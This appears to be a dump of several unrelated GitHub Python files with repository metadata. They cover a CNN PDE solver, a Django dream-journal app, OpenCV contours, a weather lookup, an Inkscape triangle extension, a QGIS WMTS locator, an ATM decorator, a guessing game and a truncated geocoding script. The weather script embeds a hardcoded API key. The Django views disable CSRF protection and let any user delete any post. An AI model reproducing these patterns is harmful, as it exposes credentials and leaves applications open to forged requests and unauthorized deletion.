optimizer=keras.optimizers.Nadam(learning_rate=0.0001, beta_1=0.9, beta_2=0.999))\n\nl1_norms = np.array([])\nl2_norms = np.array([])\nlinf_norms = np.array([])\n\nfor t in range(1000):\n # one-step scheme with central scheme\n # a = CNN2D_2.predict(values)\n # values += a\n\n # two-step scheme with central scheme\n a = CNN2D_2.predict(values)\n b = (a + values)\n c = (b + values)*0.5\n d = CNN2D_2.predict(c)\n values += d\n\n # if t %10 == 0: # save the l1 norm and l2 norm of result per 10 timesteps\n l1_norms = np.append(l1_norms, np.linalg.norm(\n values.reshape(300, 300), ord=1)/90000)\n l2_norms = np.append(l2_norms, np.linalg.norm(\n values.reshape(300, 300), ord=2)/90000)\n linf_norms = np.append(linf_norms, np.linalg.norm(\n values.reshape(300, 300), ord=np.inf)/90000)\n # np.save(\"/content/serial_steps/AD_2D_serial_step_{}\".format(t),values.reshape(nx, ny)) # save the resultant mesh of one time step\n\n# Visualization omitted\n# if t == 0:\n# plt.imshow(values[0,:,:,0], vmin=0, vmax=1.0)\n# plt.axis('off')\n# fig1_name = \"paper_figure/figure_1/up_2nd_\"+str(t)+\".jpg\"\n# plt.savefig(fig1_name, dpi=200, bbox_inches='tight')\n# plt.close()\n# elif t ==250 or t == 500 or t == 1000:\n# plt.imshow(values[0,:,:,0], vmin=0, vmax=1.0)\n# plt.axis('off')\n# fig1_name = \"paper_figure/figure_1/up_2nd_\"+str(t)+\".jpg\"\n# plt.savefig(fig1_name, dpi=200, bbox_inches='tight')\n# plt.close()\n\n\nend_time = time.perf_counter()\nprint(\n f\"[INFO] Problem solved in {end_time - start_time:0.4f} seconds using serial solution.\")\n\n# save the final result to text file\nnp.save(\"/content/output/AD_2D_serial\", values.reshape(nx, ny))\nnp.save(\"/content/norms/AD_2D_serial_l1_norms\", l1_norms)\nnp.save(\"/content/norms/AD_2D_serial_l2_norms\", l2_norms)\nnp.save(\"/content/norms/AD_2D_serial_linf_norms\", linf_norms)\n","repo_name":"bc1chen/AI-HFM-Solver","sub_path":"Anisotropic Resistivity Tomography/scripts/advection_diffusion_2D.py","file_name":"advection_diffusion_2D.py","file_ext":"py","file_size_in_byte":5876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70022595150","text":"import cgi\nimport datetime\nfrom collections import Counter\n\nfrom pyexpat.errors import messages\n\nfrom django.db.models import Q\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n# Create your views here.\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import FormView\n\nfrom dreams.forms import DreamForm\nfrom dreams.models import DreamModel\nfrom account.models import CustomUser\n@csrf_exempt\ndef createDream(request):\n if request.method == 'POST':\n form = DreamForm(request.POST)\n if form.is_valid():\n dream = form.save(commit=False)\n dream.created = datetime.datetime.now()\n dream.read_cnt = 0\n dream.author = request.user\n dream.save()\n return redirect('dream:detail', id=dream.id)\n else:\n form = DreamForm()\n return render(request,'dreams/new.html',{'form':form})\n\ndef viewDream(request, id):\n # dream 게시물 가져오기\n dream = get_object_or_404(DreamModel,id=id)\n # 제목 키워드 분석\n\n from konlpy.tag import Okt\n okt = Okt()\n keywords = okt.nouns(dream.title)\n # 해당 해몽들 보여주기\n import urllib.request\n from bs4 import BeautifulSoup\n\n results =[]\n # 꿈 단어 제외하고 검색결과 가져오기\n for key in keywords[:-1]:\n word = urllib.parse.quote_plus(key+'꿈해몽')\n\n url = f'https://search.naver.com/search.naver?date_from=&date_option=0&date_to=&dup_remove=1&nso=&post_blogurl=&post_blogurl_without=&query={word}&sm=tab_pge&srchby=all&st=sim&where=post&start=5'\n html = urllib.request.urlopen(url).read()\n soup = BeautifulSoup(html, 'html.parser')\n\n titles = soup.find_all(class_='api_txt_lines total_tit')\n\n results = []\n for index, title in enumerate(titles):\n if index == 6: break\n results.append((''.join((title.find_all(text=True))),title.attrs['href']))\n # print(''.join((title.find_all(text=True))))\n # print(title.attrs['href'])\n\n if len(results)==0:\n results.append(('제목에 해당하는 해몽을 찾지 못했습니다.',''))\n\n isUser = request.user == dream.author\n return render(request,'dreams/view.html',{'dream':dream, 'isUser':isUser, 'results':results})\n\ndef mainPage(request):\n # dream 전체 게시물 가져오기\n dream = DreamModel.objects.all()\n return render(request, 'dreams/main.html',{'dream_list':dream})\n\n\ndef search(request):\n datas = DreamModel.objects.values_list('color', flat=True)\n counter = dict(Counter(datas))\n sorted_color = sorted(counter, key=lambda x: x[1], reverse=True)[:5]\n context = {}\n context['colors'] = sorted_color\n return render(request, 'dreams/search.html', context)\n\ndef search_color(request, color_id):\n dream_list = DreamModel.objects.filter(color__contains=color_id)\n context = {'dream_list':dream_list}\n return render(request, 'dreams/main.html',context)\n\n\ndef search_title(request):\n context = {}\n # 검색\n search_word = request.GET.get('search_word','')\n\n dream_list = DreamModel.objects.filter(title__contains=search_word)\n context['dream_list'] = dream_list\n\n return render(request, 'dreams/main.html', {'dream_list':dream_list})\n\n\n# 수정하기\ndef modify(request,id):\n dream = get_object_or_404(DreamModel,pk=id)\n if request.user != dream.author:\n messages.error(request, '수정권한이 없습니다.')\n return redirect(request,'dream:')\n\n if request.method == \"POST\":\n form = DreamForm(request.POST, instance=dream)\n if form.is_valid():\n movie = form.save(commit=False)\n movie.save()\n return redirect('dream:detail', id=dream.id)\n else:\n form = DreamForm(instance=dream)\n context = {'form': form,'dream':dream}\n return render(request, 'dreams/modify.html', context)\n\n# 카운트 업데이트\ndef read_count(request,id):\n dream = get_object_or_404(DreamModel,pk=id)\n dream.read_cnt = dream.read_cnt+1\n dream.save()\n return redirect('dream:detail',id=dream.id)\n\n# 삭제하기\ndef delete(request,id):\n dream = get_object_or_404(DreamModel,pk=id)\n dream.delete()\n return redirect('dream:main')","repo_name":"iruyj/DreamColor","sub_path":"dreams/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42375612627","text":"import cv2\nimport numpy as np\n\n\n\"\"\"def regroup(scale, imgarray):\n rows = len(imgarray)\n cols = len(imgarray[0])\n rowsavailable = len(imgarray[0])\n width = imgarray[0][0].shape[1]\n height = imgarray[0][0].shape[0]\n\n widthscale = width*scale\n heightscale = height*scale\n\n \n if rowsavailable:\n for x in range (0, rows):\n for y in range (0, cols):\n if imgarray[x][y].shape[:2] == imgarray[0][0].shape[:2]:\n imgarray[x][y] = cv2.resize(imgarray[x][y], (widthscale, heightscale), None)\n else:\n imgarray[x][y] = cv2.resize(imgarray[x][y], (imgarray[0][0].shape[1], imgarray[0][0].shape[0]), None, scale, scale)\n if len(imgarray[x][y].shape) == 2:\n imgarray[x][y] = cv2.cvtColor( imgarray[x][y], cv2.COLOR_GRAY2BGR)\n\n imageblank = np.zeros((height, width, 3), np.uint8)\n hor = [imageblank]*rows\n horcon = [imageblank]*rows\n for x in range (0, rows):\n hor[x] = np.hstack(imgarray[x])\n ver = np.vstack(hor)\n else:\n for x in range (0, rows):\n if imgarray[x].shape[:2] == imgarray[0].shape[:2]:\n imgarray[x] = cv2.resize(imgarray[x], (widthscale, heightscale), None)\n else:\n imgarray[x] = cv2.resize(imgarray[x], (imgarray[0].shape[1], imgarray[0].shape[0]), None, scale, scale)\n if len(imgarray[x].shape) == 2:\n imgarray[x] = cv2.cvtColor( imgarray[x], cv2.COLOR_GRAY2BGR)\n hor = np.hstack(imgarray)\n ver = hor\n return ver\"\"\"\n\ncap = cv2.VideoCapture(0)\n\n\"\"\"while True:\n _, frame =cap.read()\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n lower_blue = np.array([38, 86, 0])\n upper_blue = np.array([121, 255, 255])\n mask = cv2.inRange(hsv, lower_blue, upper_blue)\n\n a , contour = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cv2.drawContours(frame, a, -1, (0, 0, 255), 3)\n \n cv2.imshow(\"frame\", frame)\n cv2.imshow(\"mask\", mask)\n\n key = cv2.waitKey(1)\n if key == ord(\"q\"):\n break\"\"\"\n\nwhile True:\n def empty(o):\n pass\n\n\n cv2.namedWindow(\"truc\")\n cv2.resizeWindow(\"truc\", 640,240)\n\n cv2.createTrackbar(\"gauss 1\", \"truc\", 5, 10, empty)\n cv2.createTrackbar(\"gauss 2\", \"truc\", 5, 10, empty)\n cv2.createTrackbar(\"canny 1\", \"truc\", 50, 100, empty)\n cv2.createTrackbar(\"canny 2\", \"truc\", 210, 400, empty)\n\n\n gauss1 = cv2.getTrackbarPos(\"gauss 1\", \"truc\")\n gauss2 = cv2.getTrackbarPos(\"gauss 2\", \"truc\")\n canny1 = cv2.getTrackbarPos(\"canny 1\", \"truc\")\n canny2 = cv2.getTrackbarPos(\"canny 2\", \"truc\")\n\n \n _,frame = cap.read()\n\n gray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n\n gauss = cv2.GaussianBlur(gray, (5, 5), 0)\n\n canny = cv2.Canny(gauss, 60, 210)\n\n cont = canny.copy()\n\n contr, hier = cv2.findContours(cont, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n for cnt in contr:\n area = cv2.contourArea(cnt)\n if area>400:\n cv2.drawContours(frame, cnt, -1, (0,0, 255), 2)\n\n cv2.imshow(\"contours\", frame)\n\n key = cv2.waitKey(1)\n if key == ord(\"q\"):\n break \n\n\n\ncap.release()\n\ncv2.destroyAllWindows()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n \n","repo_name":"fablab3lapins/tirelire_ai","sub_path":"aide debug/contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38700044957","text":"import pyowm\r\n\r\nprint(\"Введите \\\"stop\\\" для выхода!\")\r\nwhile True:\r\n try:\r\n city = input(\"Какой город вас интересует?: \")\r\n if city == 'stop':\r\n break\r\n else:\r\n owm = pyowm.OWM('a99967bc9ee70d5b4bd387902982f400', language=\"RU\")\r\n observation = owm.weather_at_place(city)\r\n w = observation.get_weather()\r\n\r\n temperature = w.get_temperature('celsius')['temp']\r\n\r\n print(\"В городе \" + city + \" сейчас температура: \" + str(temperature) + \" по Цельсию.\")\r\n print('Погода в указаном городе: ' + w.get_detailed_status())\r\n except:\r\n print(\"Что-то пошло не так\")\r\n","repo_name":"ra-110110/mini","sub_path":"weather/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33869235354","text":"import sys\nfrom math import acos, asin, cos, pi, sin, sqrt\n\nimport inkex\n\nX, Y = range(2)\n\ndef draw_SVG_tri(point1, point2, point3, offset, width, name, parent):\n style = {'stroke': '#000000', 'stroke-width': str(width), 'fill': 'none'}\n elem = parent.add(inkex.PathElement())\n elem.update(**{\n 'style': style,\n 'inkscape:label': name,\n 'd': 'M ' + str(point1[X] + offset[X]) + ',' + str(point1[Y] + offset[Y]) +\n ' L ' + str(point2[X] + offset[X]) + ',' + str(point2[Y] + offset[Y]) +\n ' L ' + str(point3[X] + offset[X]) + ',' + str(point3[Y] + offset[Y]) +\n ' L ' + str(point1[X] + offset[X]) + ',' + str(point1[Y] + offset[Y]) + ' z'})\n return elem\n\n\ndef angle_from_3_sides(a, b, c): # return the angle opposite side c\n cosx = (a * a + b * b - c * c) / (2 * a * b) # use the cosine rule\n return acos(cosx)\n\n\ndef third_side_from_enclosed_angle(s_a, s_b, a_c): # return the side opposite a_c\n c_squared = s_a * s_a + s_b * s_b - 2 * s_a * s_b * cos(a_c)\n if c_squared > 0:\n return sqrt(c_squared)\n else:\n return 0 # means we have an invalid or degenerate triangle (zero is caught at the drawing stage)\n\n\ndef pt_on_circ(radius, angle): # return the x,y coordinate of the polar coordinate\n x = radius * cos(angle)\n y = radius * sin(angle)\n return [x, y]\n\n\ndef v_add(point1, point2): # add an offset to coordinates\n return [point1[X] + point2[X], point1[Y] + point2[Y]]\n\n\ndef is_valid_tri_from_sides(a, b, c): # check whether triangle with sides a,b,c is valid\n return (a + b) > c and (a + c) > b and (b + c) > a and a > 0 and b > 0 and c > 0 # two sides must always be greater than the third\n # no zero-length sides, no degenerate case\n\n\ndef draw_tri_from_3_sides(s_a, s_b, s_c, offset, width, parent): # draw a triangle from three sides (with a given offset\n if is_valid_tri_from_sides(s_a, s_b, s_c):\n a_b = angle_from_3_sides(s_a, s_c, s_b)\n\n a = (0, 0) # a is the origin\n b = v_add(a, (s_c, 0)) # point B is horizontal from the origin\n c = v_add(b, pt_on_circ(s_a, pi - a_b)) # get point c\n c[1] = -c[1]\n\n offx = max(b[0], c[0]) / 2 # b or c could be the furthest right\n offy = c[1] / 2 # c is the highest point\n offset = (offset[0] - offx, offset[1] - offy) # add the centre of the triangle to the offset\n\n draw_SVG_tri(a, b, c, offset, width, 'Triangle', parent)\n else:\n inkex.errormsg('Invalid Triangle Specifications.')\n\n\nclass Triangle(inkex.EffectExtension):\n def add_arguments(self, pars):\n pars.add_argument(\"--unit\", default=\"mm\", help=\"Units\")\n pars.add_argument(\"--s_a\", type=float, default=100.0, help=\"Side Length a\")\n pars.add_argument(\"--s_b\", type=float, default=100.0, help=\"Side Length b\")\n pars.add_argument(\"--s_c\", type=float, default=100.0, help=\"Side Length c\")\n pars.add_argument(\"--a_a\", type=float, default=60.0, help=\"Angle a\")\n pars.add_argument(\"--a_b\", type=float, default=30.0, help=\"Angle b\")\n pars.add_argument(\"--a_c\", type=float, default=90.0, help=\"Angle c\")\n pars.add_argument(\"--mode\", default='3_sides', help=\"Side Length c\")\n\n def effect(self):\n tri = self.svg.get_current_layer()\n offset = self.svg.namedview.center\n self.options.s_a = self.svg.unittouu(str(self.options.s_a) + self.options.unit)\n self.options.s_b = self.svg.unittouu(str(self.options.s_b) + self.options.unit)\n self.options.s_c = self.svg.unittouu(str(self.options.s_c) + self.options.unit)\n stroke_width = self.svg.unittouu('1px')\n\n if self.options.mode == '3_sides':\n s_a = self.options.s_a\n s_b = self.options.s_b\n s_c = self.options.s_c\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_ab_a_c':\n s_a = self.options.s_a\n s_b = self.options.s_b\n a_c = self.options.a_c * pi / 180 # in rad\n\n s_c = third_side_from_enclosed_angle(s_a, s_b, a_c)\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_ab_a_a':\n s_a = self.options.s_a\n s_b = self.options.s_b\n a_a = self.options.a_a * pi / 180 # in rad\n\n if (a_a < pi / 2.0) and (s_a < s_b) and (s_a > s_b * sin(a_a)): # this is an ambiguous case\n ambiguous = True # we will give both answers\n else:\n ambiguous = False\n\n sin_a_b = s_b * sin(a_a) / s_a\n\n if (sin_a_b <= 1) and (sin_a_b >= -1): # check the solution is possible\n a_b = asin(sin_a_b) # acute solution\n a_c = pi - a_a - a_b\n error = False\n else:\n sys.stderr.write('Error:Invalid Triangle Specifications.\\n') # signal an error\n error = True\n\n if not error and (a_b < pi) and (a_c < pi): # check that the solution is valid, if so draw acute solution\n s_c = third_side_from_enclosed_angle(s_a, s_b, a_c)\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n if not error and ((a_b > pi) or (a_c > pi) or ambiguous): # we want the obtuse solution\n a_b = pi - a_b\n a_c = pi - a_a - a_b\n s_c = third_side_from_enclosed_angle(s_a, s_b, a_c)\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_a_a_ab':\n s_a = self.options.s_a\n a_a = self.options.a_a * pi / 180 # in rad\n a_b = self.options.a_b * pi / 180 # in rad\n\n a_c = pi - a_a - a_b\n s_b = s_a * sin(a_b) / sin(a_a)\n s_c = s_a * sin(a_c) / sin(a_a)\n\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_c_a_ab':\n s_c = self.options.s_c\n a_a = self.options.a_a * pi / 180 # in rad\n a_b = self.options.a_b * pi / 180 # in rad\n\n a_c = pi - a_a - a_b\n s_a = s_c * sin(a_a) / sin(a_c)\n s_b = s_c * sin(a_b) / sin(a_c)\n\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n\nif __name__ == '__main__':\n Triangle().run()\n","repo_name":"eridur-de/mightyscape-1.1-deprecated","sub_path":"extensions/fablabchemnitz/triangle/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"82"} +{"seq_id":"11345461777","text":"from qgis.PyQt.QtCore import QUrl\nfrom qgis.PyQt.QtNetwork import QNetworkRequest\n\nfrom qgis.gui import QgisInterface\nfrom qgis.core import (\n QgsApplication,\n QgsBlockingNetworkRequest,\n QgsFetchedContent,\n QgsLocatorResult,\n QgsFeedback,\n)\nfrom swiss_locator.core.filters.swiss_locator_filter import (\n SwissLocatorFilter,\n)\nfrom swiss_locator.core.filters.filter_type import FilterType\nfrom swiss_locator.core.results import WMSLayerResult\n\nimport xml.etree.ElementTree as ET\nimport urllib.parse\n\n\nclass SwissLocatorFilterWMTS(SwissLocatorFilter):\n def __init__(self, iface: QgisInterface = None, crs: str = None, capabilities=None):\n super().__init__(FilterType.WMTS, iface, crs)\n\n self.capabilities = capabilities\n self.capabilities_url = f\"https://wmts.geo.admin.ch/EPSG/{self.crs}/1.0.0/WMTSCapabilities.xml?lang={self.lang}\"\n\n # do this on main thread only?\n if self.capabilities is None and iface is not None:\n\n self.content = QgsApplication.networkContentFetcherRegistry().fetch(\n self.capabilities_url\n )\n self.content.fetched.connect(self.handle_capabilities_response)\n\n self.info(self.content.status())\n\n if self.content.status() == QgsFetchedContent.ContentStatus.Finished:\n file_path = self.content.filePath()\n self.info(\n f\"Swisstopo capabilities already downloaded. Reading from {file_path}\"\n )\n self.capabilities = ET.parse(file_path).getroot()\n else:\n self.content.download()\n\n def clone(self):\n if self.capabilities is None:\n self.content.cancel()\n nam = QgsBlockingNetworkRequest()\n request = QNetworkRequest(QUrl(self.capabilities_url))\n nam.get(request, forceRefresh=True)\n reply = nam.reply()\n if (\n reply.attribute(QNetworkRequest.HttpStatusCodeAttribute) == 200\n ): # other codes are handled by NetworkAccessManager\n self.capabilities = ET.fromstring(reply.content().data().decode(\"utf8\"))\n else:\n self.info(\n self.tr(\n \"The Swiss Locator filter for WMTS layers could not fetch capabilities.\"\n )\n )\n\n return SwissLocatorFilterWMTS(crs=self.crs, capabilities=self.capabilities)\n\n def displayName(self):\n return self.tr(\"Swiss Geoportal WMTS Layers\")\n\n def prefix(self):\n return \"chw\"\n\n def handle_capabilities_response(self):\n if self.content.status() == QgsFetchedContent.ContentStatus.Finished:\n self.info(\n f\"Swisstopo capabilities has been downloaded. Reading from {self.content.filePath()}\"\n )\n self.capabilities = ET.parse(self.content.filePath()).getroot()\n\n def perform_fetch_results(self, search: str, feedback: QgsFeedback):\n namespaces = {\n \"wmts\": \"http://www.opengis.net/wmts/1.0\",\n \"ows\": \"http://www.opengis.net/ows/1.1\",\n }\n\n if len(search) < 2:\n return\n\n if self.capabilities is None:\n self.info(\n self.tr(\n \"The Swiss Locator filter for WMTS layers could not fetch capabilities.\"\n )\n )\n return\n\n # Search for layers containing the search term in the name or title\n for layer in self.capabilities.findall(\".//wmts:Layer\", namespaces):\n layer_title = layer.find(\".//ows:Title\", namespaces).text\n layer_abstract = layer.find(\".//ows:Abstract\", namespaces).text\n layer_identifier = layer.find(\".//ows:Identifier\", namespaces).text\n dimensions = dict()\n for dim in layer.findall(\".//wmts:Dimension\", namespaces):\n identifier = dim.find(\"./ows:Identifier\", namespaces).text\n default = dim.find(\"./wmts:Default\", namespaces).text\n dimensions[identifier] = default\n dimensions = \"&\".join([f\"{k}={v}\" for (k, v) in dimensions.items()])\n dimensions = urllib.parse.quote(dimensions)\n\n results = {}\n\n if layer_identifier:\n if search in layer_identifier.lower():\n score = 1\n elif search in layer_title.lower():\n score = 2\n elif search in layer_abstract.lower():\n score = 3\n else:\n continue\n\n tile_matrix_set = layer.find(\".//wmts:TileMatrixSet\", namespaces).text\n _format = layer.find(\".//wmts:Format\", namespaces).text\n style = layer.find(\".//wmts:Style/ows:Identifier\", namespaces).text\n\n result = QgsLocatorResult()\n result.filter = self\n result.icon = QgsApplication.getThemeIcon(\"/mActionAddWmsLayer.svg\")\n\n result.displayString = layer_title\n result.description = layer_abstract\n result.userData = WMSLayerResult(\n layer=layer_identifier,\n title=layer_title,\n url=self.capabilities_url,\n tile_matrix_set=tile_matrix_set,\n _format=_format,\n style=style,\n tile_dimensions=dimensions,\n ).as_definition()\n\n results[result] = score\n\n # sort the results with score\n results = sorted([result for (result, score) in results.items()])\n\n for result in results[0 : self.settings.value(\"wmts_limit\")]:\n self.resultFetched.emit(result)\n self.result_found = True\n","repo_name":"opengisch/qgis-swiss-locator","sub_path":"swiss_locator/core/filters/swiss_locator_filter_wmts.py","file_name":"swiss_locator_filter_wmts.py","file_ext":"py","file_size_in_byte":5822,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"30711014045","text":"# -*- coding:utf-8 -*-\n# __author__ = 'gupan'\nfrom Atm.common.tools import *\nfrom Atm.core.CONSTANT import *\n\nimport json\npath_account = Root_path().get_root_path() + \"\\\\db\\\\accounts\"\npath_name_dir = Root_path().get_root_path() + \"\\\\db\\\\accounts_records\\\\\"\n#print(path_account)\n\ndef test_login(func):\n def decorator(*args, **kwargs):\n R_Flag = False\n name = kwargs[\"name\"]\n pwd = kwargs[\"pwd\"]\n\n with open(path_account, \"r\") as f_account:\n data = f_account.read()\n if not data:\n print(\"系统尚无用户注册\")\n return False\n accounts = json.loads(data)\n if accounts.get(name) and accounts[name][PWD] == pwd:\n R_Flag = True\n if not R_Flag:\n print(\"登陆失败\")\n return R_Flag\n\n if not accounts[name][STATUS]:\n print(\"\\033[31;1m账户被冻结，请联系管理员解除冻结状态\\033[0m\")\n return False\n\n R_Flag = func(*args, **kwargs)\n if not R_Flag:\n print(\"{name}失败\".format(name = func.__name__))\n return R_Flag\n return decorator\n\n # if Flag:\n # self.balance = int(self.accounts[name][BALANCE])\n # self.name = name","repo_name":"gupan2018/pythonProjects","sub_path":"Atm/core/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74750812109","text":"import random\n\n\nclass countries:\n string = str()\n country = ''\n list1 = list()\n\n @staticmethod\n def random_country():\n Asia = [\n \"Afghanistan\", \"Armenia\", \"Azerbaijan\", \"Bahrain\", \"Bangladesh\", \"Bhutan\", \"Brunei\", \"Cambodia\", \"China\",\n \"Cyprus\", \"Georgia\", \"India\", \"Indonesia\", \"Iran\", \"Iraq\", \"Israel\", \"Japan\", \"Jordan\", \"Kazakhstan\",\n \"Kuwait\", \"Kyrgyzstan\", \"Laos\", \"Lebanon\", \"Malaysia\", \"Maldives\", \"Mongolia\", \"Myanmar\", \"Nepal\",\n \"North Korea\", \"Oman\", \"Pakistan\", \"Palestine\", \"Philippines\", \"Qatar\", \"Saudi Arabia\", \"Singapore\",\n \"South Korea\", \"Sri Lanka\", \"Syria\", \"Taiwan\", \"Tajikistan\", \"Thailand\", \"Timor Leste\", \"Turkey\",\n \"Turkmenistan\", \"United Arab Emirates\", \"Uzbekistan\", \"Vietnam\", \"Yemen\"\n ]\n\n copy = random.choice(Asia)\n a = copy.lower()\n return a\n\n @staticmethod\n def print_space(country):\n new_list = list()\n for i in country:\n if i != ' ':\n new_list.append(\"_\")\n else:\n new_list.append(\" \")\n new_str = \"\".join(new_list)\n return new_str\n\n @staticmethod\n def input_method(country, space):\n con_list = list(country)\n spa_list = list(space)\n con_str = \"\".join(con_list)\n\n try:\n while True:\n a = str(input(\"Guess word:-\"))\n\n if len(a) > 1:\n print(\"Please enter character or only one character!\\n\")\n continue\n elif a in con_str:\n occurrences = [i for i, letter in enumerate(con_list) if letter == a]\n\n for ek in occurrences:\n spa_list[ek] = a\n\n new = \" \".join(spa_list).upper()\n print(new, \"\\n\") # Move this line outside the loop\n\n if spa_list == con_list:\n print(\"Congratulations!\\nYou guessed the correct Country\")\n break\n\n else:\n print(\"Incorrect guess! Try again\\n\")\n except Exception as ex:\n print(type(ex))\n print(ex)\n\n\n# import pycountry\n#\n# all_countries = list(pycountry.countries)\n# list1 = list()\n#\n# for country in all_countries:\n# list1.append(country.name)\n#\n# print(list1)\n\n\n\"\"\"\n 1. Make a method to choose a country\n 2. Create a method to print len(country) space like ______\n 3. After that create a method to take input and exception handling\n\"\"\"\n\nc = countries()\n\nb = c.random_country()\nd = c.print_space(b)\ne = \" \".join(d)\nprint(e)\nc.input_method(b, d)\n","repo_name":"Ranjit2002/pythonProgram","sub_path":"Exercises/Word_Guessing_game.py","file_name":"Word_Guessing_game.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70603925389","text":"#!/usr/bin/env python3\r\n\r\n\"\"\"Search locations in text form and convert them to geographic coordinates\r\n\"\"\"\r\nfrom numpy.core.numeric import NaN\r\nimport spacy\r\nimport geocoder\r\nimport re\r\nimport pandas as pd\r\nfrom collections import Counter\r\n\r\n# Choose language\r\nnlp = spacy.load('en_core_web_sm')\r\n\r\n# Read data\r\ndf = pd.read_csv('quantitiesdone.csv')\r\nlocationlist = pd.read_csv('locationlist.csv')\r\n\r\n# Add new location columns\r\ndf['location_spacy'] = [[]] * df.shape[0] # empty list​\r\ndf['location_osm'] = [[]] * df.shape[0]\r\ndf['coordinates'] = [[]] * df.shape[0]\r\ndf['lat'] = [[]] * df.shape[0]\r\ndf['lon'] = [[]] * df.shape[0]\r\ndf['location_found_from'] = [[]] * df.shape[0]\r\ndf['location_match'] = [[]] * df.shape[0]\r\n\r\n# Remove NaN values\r\ndf = df.fillna('')\r\ndf = df.replace(r'\\s',' ', regex=True) \r\n\r\n# Column names from which location is searched\r\nlocation_columns = ['location', 'description', 'reptile']\r\n\r\n# Iterating trough dataframe rows\r\nfor index, row in df.iterrows():\r\n location_found = False\r\n location = str(df.iloc[index]['location'])\r\n # Uses Natural language processing to find location entities from the location column\r\n doc = nlp(location)\r\n for ent in doc.ents:\r\n if not location_found:\r\n # If an entity is geographic find it's coordinates from osm with geocoder and add them to data\r\n if ent.label_ == 'GPE':\r\n df.at[index, 'location_spacy'] = doc\r\n osm = geocoder.osm(str(ent))\r\n df.at[index, 'location_osm'] = osm\r\n if osm.country is not None:\r\n country_osm = geocoder.osm(osm.country)\r\n if country_osm.latlng is not None:\r\n df.at[index, 'coordinates'] = country_osm.latlng\r\n df.at[index, 'Country'] = country_osm.country\r\n df.at[index, 'lat'] = float(country_osm.latlng[0])\r\n df.at[index, 'lon'] = float(country_osm.latlng[1])\r\n df.loc[index, 'location_found_from'] = 'location'\r\n location_found = True\r\n # if ent.label_ == 'GPE':\r\n # df.at[index, 'location_spacy'] = doc\r\n # osm = geocoder.osm(str(ent))\r\n # df.at[index, 'location_osm'] = osm\r\n # if osm.latlng is not None:\r\n # df.at[index, 'coordinates'] = osm.latlng\r\n # df.at[index, 'country'] = osm.country\r\n # df.at[index, 'lat'] = float(osm.latlng[0])\r\n # df.at[index, 'lon'] = float(osm.latlng[1])\r\n # df.loc[index, 'location_found_from'] = 'location'\r\n # df.loc[index, 'location_match'] = str(row['location'])\r\n # \r\n \r\n # If location is not found search keywords from locationlist matching text in df\r\n if not location_found:\r\n for search_column in location_columns:\r\n if not location_found:\r\n for col in locationlist.columns:\r\n if not location_found:\r\n for i, r in locationlist.iterrows():\r\n if not location_found:\r\n location = re.findall(str(r[col]), str(row[search_column]), re.IGNORECASE)\r\n if location != '[]' and str(r[col]) != 'nan' and location:\r\n df.loc[index, 'location_spacy'] = col\r\n osm = geocoder.osm(str(ent))\r\n df.at[index, 'location_osm'] = osm\r\n if osm.country is not None:\r\n country_osm = geocoder.osm(osm.country)\r\n if country_osm.latlng is not None:\r\n df.at[index, 'coordinates'] = country_osm.latlng\r\n df.at[index, 'Country'] = country_osm.country\r\n df.at[index, 'lat'] = float(country_osm.latlng[0])\r\n df.at[index, 'lon'] = float(country_osm.latlng[1]) \r\n\r\n df.loc[index, 'location_found_from'] = search_column\r\n df.loc[index, 'location_match'] = str(r[col])\r\n location_found = True\r\n \r\n\r\n# Drop any data entries that dont have species information (These should not exist anymore at this point)\r\ndf['Species'].replace('', float('NaN'), inplace=True)\r\ndf.dropna(subset = ['Species'], inplace=True)\r\n\r\n\r\n#Remove duplicates, where Seller_id, location, quantity, price, currency, intent and species are indentical\r\ndf['Seller_id'] = df['Seller_id'].astype(str)\r\ndf['location_spacy'] = df['location_spacy'].astype(str)\r\n\r\ndf_noseller_id = df[df['Seller_id']=='[]']\r\ndf_withseller_id = df[df['Seller_id']!='[]']\r\n\r\n\r\nsubset_columns = ['Species', 'Quantity', 'Price', 'Currency', 'Intent', 'Seller_id', 'location_spacy']\r\n\r\nnon_empty_columns = df_withseller_id[subset_columns].apply(lambda x: sum(item != '[]' for item in x), axis=1)\r\n\r\n# Determine how many of the columns has to have data so the deduplication is taken into consideration\r\n# How many empty columns is allowed? Enter here:\r\nempty_columns = 0\r\n\r\n# Create a mask to identify rows that match the condition of empty columns allowed\r\ncondition = non_empty_columns >= len(subset_columns) - 